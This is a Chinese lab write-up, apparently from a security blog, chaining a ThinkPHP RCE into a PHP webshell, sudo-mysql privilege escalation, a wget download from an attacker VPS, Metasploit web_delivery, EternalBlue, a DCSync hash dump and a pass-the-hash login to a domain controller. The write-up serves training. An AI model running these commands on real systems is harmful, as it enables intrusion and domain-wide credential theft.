春秋云境 Initial 靶场 WP：ThinkPHP RCE → 内网横向 → 域控沦陷
一、靶场介绍 & 环境信息
春秋云境 $\to$ 仿真场景 $\to$ 专业徽章 $\to$ Initial：
开启场景后，给了一个 IP 地址：
- 39.99.151.82
重要提醒：
由于我写 WP 并非一次性写完，而靶场一直开着会消耗沙砾（╯︿╰），每次重开靶场给的目标 IP 地址会有区别，请大家见谅。但是，内网地址都是稳定。
二、信息搜集
Rustscan 配合 Nmap 进行 TCP 全端口扫描 + 指纹识别 + 操作系统识别：
sudo rustscan -a 39.99.151.82 -r 1-65535 -- -sV -O -Pn -n -oA 39.99.151.82_TCP_Ports |
结果信息：
PORT STATE SERVICE VERSION |
根据端口指纹可以判断对方的操作系统是 Ubuntu。
补一波 UDP 高价值端口（20个）扫描 + 指纹识别：
sudo nmap -sV -sU --top-ports 20 39.99.151.82 -Pn -n -oA 39.99.151.82_UDP_Ports |
结果：
- 所有端口的状态都是“open|filtered”
目前来看，处理 UDP 端口并不是最高的优先级，等 TCP 端口没有突破再回到 UDP 端口用特定的工具对高价值端口进行精细扫描。
根据上述信息搜集结果，最优先考虑的就是 80 端口了。
三、80 端口
1、假的登入界面
用浏览器访问：
是一个登入界面，但是其功能并不完善：
- 输入任意账户密码都是跳转到
/login.hrml，而目标上根本没有这个页面 - “注册”功能也是假的，根本点不动
查看页面源码，看到注释信息中暴露了一个后端端口：
http://localhost:8080/powers/pow/regUsers" |
直接访问：
http://39.99.151.82:8080/powers/pow/regUsers |
但是访问不到：
应该只有内网才能访问这个接口。
直接访问 8080 也是同样的结果。
2、目录爆破
既然没什么发现，扫一扫目录、爆一爆文件：
ffuf -u http://39.99.151.82/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -e .php,.phtml,.html,.txt,.bak,.old,.swp -ac -recursion -recursion-depth 2 |
robots.txt |
访问 robots.txt，并没有用的内容：
User-agent: * |
static 是一个目录，存在目录遍历漏洞：
但是没什么有价值的信息。
router.php 应该是一个后端 API 通过 POST 或者 GET 传输进行路由导航，这个和之前看到的内网 API 信息泄露似乎有所对应，尝试爆破一下参数名，先 GET 传参：
ffuf -u "http://39.99.151.82/router.php?FUZZ=test" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -mc 200 -fs 0 |
POST 传参：
ffuf -u "http://39.99.151.82/router.php" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -X POST -d "FUZZ=test" -H "Content-Type: application/x-www-form-urlencoded" -mc 200 -fs 0 |
都没有结果：
❯ ffuf -u "http://target/router.php" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -X POST -d "FUZZ=test" -H "Content-Type: application/x-www-form-urlencoded" -mc 200 -fs 0 |
3、ThinkPHP
在等扫描结果的时候，我发现这个网站的图标越看越舒徐，会不会用的某种常用框架？
查找页面源码没看到”ico”的信息，按 F12 $\to$ Network：
可以发现 favicon.ico 就在根目录下，即“http://39.99.151.82/favicon.ico”。
用 Python 获取其 mmh3（MurmurHash3）值
import mmh3 |
输出：
1165838194 |
去数据库（https://wiki.owasp.org/index.php/OWASP_favicon_database）中查找：
可惜并没有找到结果，换个工具：
observer_ward -t http://39.99.151.82/favicon.ico |
结果：
observer_ward -t http://39.99.151.82/favicon.ico |
原来是 ThinkPHP，在页面乱输入一通让其报错，看看是否有版本号。
Payload：
http://39.99.151.82/index.php?s=xxx/xxx/xxx |
版本号为 V5.0.23，Google 搜索一下 N-Day：
Dork：
V5.0.23 AND ThinkPHP AND Poc |
找到结果：
https://github.com/vulhub/vulhub/blob/master/thinkphp/5.0.23-rce/README.md |
响应：
RCE 验证成功。
4、写入一句话木马
通过 Webshell 写入一句话木马，准备蚁剑连接。
先确认写入的为止，通过命令：
pwd |
得知目前处于：
/var/www/html/ |
命令：
ls |
输出：
favicon.ico |
这就是我们之前扫描在根目录下发现的，换言之，我们只需要在 /var/www/html 目录中写入 shell.php，即可在根目录下访问该文件了。
payload：
echo '<?php @eval($_REQUEST["x"]);?>' > /var/www/html/shell.php |
注意，这里有个坑，不要将命令写成：
echo "<?php @eval($_REQUEST['x']);?>" > /var/www/html/shell.php |
我们在自己终端中可以尝试这条命令：
echo "<?php @eval($_REQUEST['x']);?>" > /tmp/shell.php |
按道理说，shell.php 文件中应该写入了：
<?php @eval($_REQUEST['x']);?> |
查看验证：
❯ echo "<?php @eval($_REQUEST['x']);?>" > /tmp/shell.php |
报错了，为什么呢？
很简单，在 zsh（以及 bash）中，双引号 "..." 内 $ 会触发变量展开，所以 $_REQUEST 被当作变量名解析，而 ['x'] 中的方括号又触发了数学表达式求值，最终报错。
解决方法就是用单引号包裹：
echo '<?php @eval($_REQUEST["x"]);?>' > /var/www/html/shell.php |
单引号内 shell 不做任何展开，内容原样写入。
5、蚁剑连接
信息：
- 网址：
http://39.99.151.82/shell.php - 密码：x
连接成功：
目前我们是 www-data 用户，权限很低，先简单信息搜集一下，后续找一下提权的方法：
（1）信息搜集
(www-data:/var/www/html) $ ip addr |
可以发现：
- 本机的内网 IP：
172.22.1.15 - 内网网段：
172.22.0.0/16
(www-data:/var/www/html) $ hostname && cat /etc/issue && uname -a && cat /etc/hosts |
- 架构：x86_64
- OS：Ubuntu
查看内核的具体版本信息：
(www-data:/var/www/html) $ cat /proc/version |
查看路由：
(www-data:/var/www/html) $ ip route show |
- scope link 表示直连，说明本机直连内网环境（172.22.0.0/16）
- default 表示默认路由（其他路由都不匹配的时候走这条），判断 172.22.255.253 应该就是内网的网关了
（2）提权
找找提权的相关信息：
- sudo
- SUID
- PATH
- ……
运气也是比较好，sudo 就是本题的正解。
过程如下：
先查看 sudo 列表：
sudo -l |
输出：
Matching Defaults entries for www-data on ubuntu-web01: |
无需密码即可使用 mysql 命令，通过网站（https://gtfobins.org/）查询提权命令：
当然，我们无法直接通过 Webshell 返回一个 root 用户的终端，因为蚁剑、冰蝎这类 Webshell 管理工具它们只是模拟了一个类似终端的界面，本质还是通过 Webshell，一句命令，一句回显，无法实现交互式的命令。
网站给的 payload 即：
sudo mysql -e '\! /bin/sh' |
就是通过 mysql 执行一个系统命令 /bin/sh，在正常终端就会返回 sh 这个 shell 的交互式界面，但是 Webshell 中就会失败。
但是，既然 mysql 具有 sudo 权限，即我们在 mysql 中执行的命令就是 root 权限执行的，因此无需追求交互式，只要命令执行，并且能回显就可以了。
测试：
(www-data:/var/www/html) $ sudo /usr/bin/mysql -e '\! whoami' |
提权成功，并且能执行命令。
四、Fscan 内网信息搜集
1、上传 Fscan
上传 Fscan 打算收集内网的信息。
现在有个问题，目标是公网，我是学校私网环境，如何在我攻击机上下载 fscan 呢？
我刚好有一台未过期的 VPS，防火墙开放 4444 端口，建立反向代理：
ssh -R 0.0.0.0:4444:localhost:4444 <user>@<VPS_IP> -N |
这个命令意思是，只要是连接 vps 的 4444 端口都会映射到我本地的 4444 端口。
在攻击机的 fscan 目录（我这里是 /usr/local/bin）下，用 python 开启简易 http 服务：
❯ python -m http.server 4444 |
在蚁剑上执行 wget 命令下载 fscan：
wget http://<vps_ip>:4444/fscan |
下载成功：
(www-data:/var/www/html) $ ls |
赋予执行权限（注意，赋予执行权限可能需要 root 权限，用之前的提权命令）：
sudo /usr/bin/mysql -e '\! chmod +x fscan' |
2、上线 MSF
fscan 扫描需要时间，而 webshell 执行命令本质上是一次性的 HTTP 请求，请求结束进程就被杀掉，根本等不了很长的时间。
经过尝试，理论上可以通过 sudo–mysql 提权直接返回一个 root 用户的 session，但是失败次数比成功次数多，因此打算先获得 www-data 的 shell，提权后再获得 root 的 shell。
使用 MSF 的 multi/script/web_delivery 模块：
use multi/script/web_delivery |
注意也需要配置 VPS 反向代理，并且开放防火墙。
run 之后就能得到命令，复制到之前的蚁剑终端或者直接 Burp POST 传输都可以，执行成功后会获得一个 www-data 用户的 session：
msf exploit(multi/script/web_delivery) > run |
进入该 session：
sessions -i 1 |
切换成 shell：
meterpreter > shell |
查看是否有 paython：
python3 --version |
可以用 python 实施 shell 稳定化操作，输入：
python3 -c 'import pty;pty.spawn("/bin/bash")' |
效果：
提权：
sudo mysql -e '\! /bin/bash' |
提权成功。
现在就可以重复之前的操作返回一个 root 用户的 session 了。
这里省略相关步骤，因为步骤是重复的。
直接上结果：
msf exploit(multi/script/web_delivery) > sessions |
3、内网扫描
通过之前的信息搜集，我们知道这台主机是拥有内网的直连路由的，所以直接用之前上传的 fscan 扫描即可，命令：
./fscan -h 172.22.0.0/16 |
./fscan -h 172.22.0.0/16 |
172.22.255.253 就是我们之前分析出的路由，不把他列为分析对象。
（1）172.22.1.21
端口开放情况：
- 445
- 135
- 139
主机名：XIAORANG-WIN7
$\to$ 说明是一个域环境。
关键：fscan 的漏洞扫描得到该主机存在 MS-010（永恒之蓝漏洞）
域名：xiaorang.lab
OS 指纹信息：Windows Server 2008 R2 Enterprise 7601 Service Pack 1
（2）172.22.1.18
端口开放情况：
- 80（扫描结果还显示，这是一个“信呼协同办公系统”，是一个）
- 139
- 135
- 445
- 3306
主机名：XIAORANG-OA01
域名：xiaorang.lab
OS 指纹信息：Windows Server 2012 R2 Datacenter 9600
（3）172.22.1.2
是域控（DC:DC01.xiaorang.lab）
主机名：DC01
端口开放情况：
- 445
- 80
- 88
- 135
- 139
OS 指纹： Windows Server 2016 Datacenter 14393
4、画图建议
随着主机的越来越多，靠脑子和电子笔记记录有点不太够用了，建议画图，我这里用的是 Obsidian
的 Excalidraw 插件：
五、MS17-010
既然扫描出漏洞，而且是高危，他的优先级肯定是最高的，在利用之前，先建立内网路由和代理。
1、建立路由和代理
路由：
meterpreter > run autoroute -s 172.22.0.0/16 |
socks 5 代理：
先退回到 msf>：
meterpreter > bg |
建立代理：
msf exploit(multi/script/web_delivery) > use auxiliary/server/socks_proxy |
2、使用永恒之蓝模块
接下来就是模块打永恒之蓝：
use windows/smb/ms17_010_eternalblue |
并且我们采用 bind shell 的方式（因为内网无回连我们攻击机的路由）：
set payload payload/windows/x64/meterpreter/bind_tcp |
run 之后就能得到该主机的 meterpreter shell 了。
永恒之蓝本身就不是很稳定，有几率让目标蓝屏，因此如果不行的话可以多尝试几次。
查看权限：
meterpreter > getuid |
直接就是最高权限。
3、信息搜集
（1）凭证抓取
meterpreter > getuid |
只抓到本机的，尝试一下伪装 DC 与 DC 同步数据来窃取凭证：
meterpreter > kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" |
欺骗成功。
成功的原理值得探讨一下：
拆解一下命令：
| 部分 | 含义 |
|---|---|
lsadump::dcsync |
mimikatz 的 DCSync 攻击模块，模拟域控同步请求 |
/domain:xiaorang.lab |
指定目标域 |
/all |
导出域内所有用户的 hash |
/csv |
以 CSV 格式输出，更易读 |
原理：正常情况下两台域控之间会定期同步数据（包括用户密码 hash），DCSync 就是伪装成域控向真实域控发送同步请求，骗取所有用户的 NTLM hash，整个过程不需要登录域控也不需要在域控上落地文件，非常隐蔽。
但是能成功也需要有个重要前提：执行账户需要有 DS-Replication-Get-Changes 权限，默认域管、Enterprise Admins、域控机器账户才有。我们的主机是 SYSTEM 权限且在域内，所以能成功。
六、域控登入
拿之前抓到的凭证登入域控：
proxychains python3 /usr/share/doc/python3-impacket/examples/wmiexec.py xiaorang.lab/administrator@172.22.1.2 -hashes :10cf89a850fb1cdbe6bb432b859164c8 |
登入后直接搜索 flag：
dir flag* /s |
此时才发现靶场给的提示：
这里是 03（且是最后一个），那么说明别的其他机子上也有 flag，之前忘记读取了。
其中一个在入口靶机上（即一开始打下来的那个 Ubuntu），现在找另一个。
七、172.22.1.18
之前 DC 欺骗其实把这台靶机的凭证也输出了，因此直接登入：
proxychains python3 /usr/share/doc/python3-impacket/examples/wmiexec.py xiaorang.lab/administrator@172.22.1.18 -hashes :10cf89a850fb1cdbe6bb432b859164c8 |
老样子查找 flag：
成功。
结合 flag01、flag02、flag03，凭借起来就是完整的 flag。
八、非预期解
如果有人先打的 172.22.1.18，就可能会发现这个非预期解。这里简单讲述一下。
登入 80 后，就可以看到信呼 OA 的具体版本：
搜索之后，能知道有一个：未授权任意文件上传 RCE（Nday）
但是前提是登入管理员界面，通过 Burp 弱密码爆破之后，得到账号与密码：
- 账号：admin
- 密码：admin123
登入之后，里面有个文件上传功能：
可以直接上传一句话木马，并且在响应页面中有存放路径，但是它会将你的文件后缀改成其他的。
这里又有一个漏洞，就是文件后缀修改漏洞：
http://172.22.1.18/task.php?m=qcloudCos|runt&a=run&fileid=<之前看到的文件id> |
这样就可以正常访问木马文件了，并且得到的权限是 SYSTEM，后续就是找 Flag，再找域控的麻烦。
祝大家打靶顺利！
本博客所有文章除特别声明外，均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 A Secret Site！
相关推荐
2026-04-01
红日靶场二：WebLogic CVE-2019-2725 到域控沦陷全流程
一、靶场信息 相关注意事项： 二、信息搜集1、TCP 端口扫描 + 指纹识别 + 操作系统识别工具：rustscan + nmap nmap 带上 -Pn 参数，表示不进行主机发现，这是为了避免主机发现失败导致的指纹探测失败。 因为 nmap 的默认扫描逻辑是这样的： 主机存活探测（ICMP ping / TCP ping） ↓ 没有响应？ ↓认为主机已下线 → 直接跳过，不扫端口 问题在于，很多主机（尤其是 Windows、有防火墙的服务器）会屏蔽 ICMP，但端口服务完全正常运行。Nmap 误判主机离线，导致你什么都扫不到。 命令： sudo rustscan -a 192.168.111.80 -r 1-65535 -- -sV -O -Pn -n 输出（由于输出很长，只是截取了关键的部分）： PORT STATE SERVICE REASON VERSION80/tcp open http syn-ack ttl 63 Microsoft IIS httpd 7....
2026-04-04
红日靶场五 WP：ThinkPHP RCE → 内核提权 → 域控沦陷
一、靶场信息我打的是无境靶场中的红日靶场五，其靶机地址和本机地址分别为： 靶场的相关注意事项： 二、信息搜集1、TCP 全端口扫描 + 指纹识别 + 操作系统识别：命令： sudo rustscan -a 192.168.111.150 -r 1-65535 -- -sV -O -Pn -n -oA 192.168.111.150_TCP_ports 输出（仅列举有效信息）： PORT STATE SERVICE REASON VERSION80/tcp open http syn-ack ttl 127 Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.5.38)3306/tcp open mysql? syn-ack ttl 127 OS: Windows Server 2008 R2 or Windows 7 SP1 (96%) 这些信息凝聚成一块得到的结论就是：集成环境 为什么？ 原生生态冲突： Windows Server 的“亲儿子”生态是什么？是 IIS Web...
2026-04-11
红日靶场七：从外网入口、容器逃逸到 AD 接管的完整利用链复盘
一、靶场相关信息 二、信息搜集TCP 端口扫描 + 指纹识别 + 操作系统识别： sudo rustscan -a 192.168.111.20 -r 1-65535 -- -sV -O -Pn -n -oA TCP_PORTS_NAMP 输出（仅列举部分）： PORT STATE SERVICE REASON VERSION22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)80/tcp open http syn-ack ttl 63 nginx 1.14.0 (Ubuntu)81/tcp open http syn-ack ttl 63 nginx 1.14.0 (Ubuntu)6379/tcp open redis syn-ack ttl 63 Redis key-value store 2.8.17 关机信息： OS：Ubuntu 6379 端口：年代久远，默认配置...
2026-04-23
HackTheBox Cap 靶机：从 IDOR 到 PCAP 凭据提取再到 Capabilities 提权
一、题目信息 二、信息搜集TCP 全端口扫描 + 指纹识别 + 操作系统识别： sudo rustscan -a 10.129.35.25 -r 1-65535 -- -sV -O -Pn -n 输出（关键部分）： PORT STATE SERVICE REASON VERSION21/tcp open ftp syn-ack ttl 63 vsftpd 3.0.322/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)80/tcp open http syn-ack ttl 63 Gunicorn 目标 OS：Ubuntu 80 指纹：Gunicorn，这是 Python 的 WSGI HTTP 服务器，通常作为 Web 应用与反向代理（如 Nginx）之间的中间层运行（但是在本题中是直接作为后端服务器存在） 21 端口可以尝试 ftp 匿名登入 补一波 UDP 高价值（top 20）端口扫描 +...
2026-04-25
CVE-2023-1773 深度复现：从 REIM 回调未授权到信呼 OA 配置文件代码注入
一、漏洞入口根据 CVE 官网（https://www.cve.org/CVERecord?id=CVE-2023-1773）的描述： 它将该漏洞归类为 RockOA 2.3.2 的 webmainConfig.php 相关代码注入漏洞，一些漏洞数据库基本都复用了该表述： 但经源码审计，漏洞根因更准确地说是配置保存逻辑未正确处理用户可控输入，导致可控内容写入 PHP 配置文件并在后续包含加载时触发代码注入。 真正的漏洞入口文件是 webmain\system\cog\cogAction.php，聚焦其中的 savecongAjax() 方法（截取了关键部分）： public function savecongAjax() { if(getconfig('systype')=='demo')exit('演示上禁止设置'); if($this->getsession('isadmin')!='1')exit('非管理员不能操作'); ...
2026-04-15
第九届强网杯 · SecretVault WP：HTTP Connection 头绕过 JWT 反代身份校验
一、yml 文件分析题目给了源码，并且给了 docker-compose.yml 文件，我们可以直接在本地起环境。 在运行容器之前，先看看 .yml 文件中的内容： services: secretvault: build: context: . container_name: secretvault environment: ICQ_FLAG: flag{test} ports: - "5555:5555" 得到的信息： 本地 flag 为：flag{test} 容器内部的 5555 端口映射到宿主机的 5555端口 二、登入界面分析1、简单浏览把容器跑起来： # 在 docker-compose.yml 文件所在目录运行docker compose up 由于端口仅映射了 5555 端口，那么直接浏览器访问： http://127.0.0.1:5555 看到的是一个登入界面，并且含注册功能： CTRL + U 查看页面源码没有发现“注释信息泄露关键信息”的情况。 弱密码...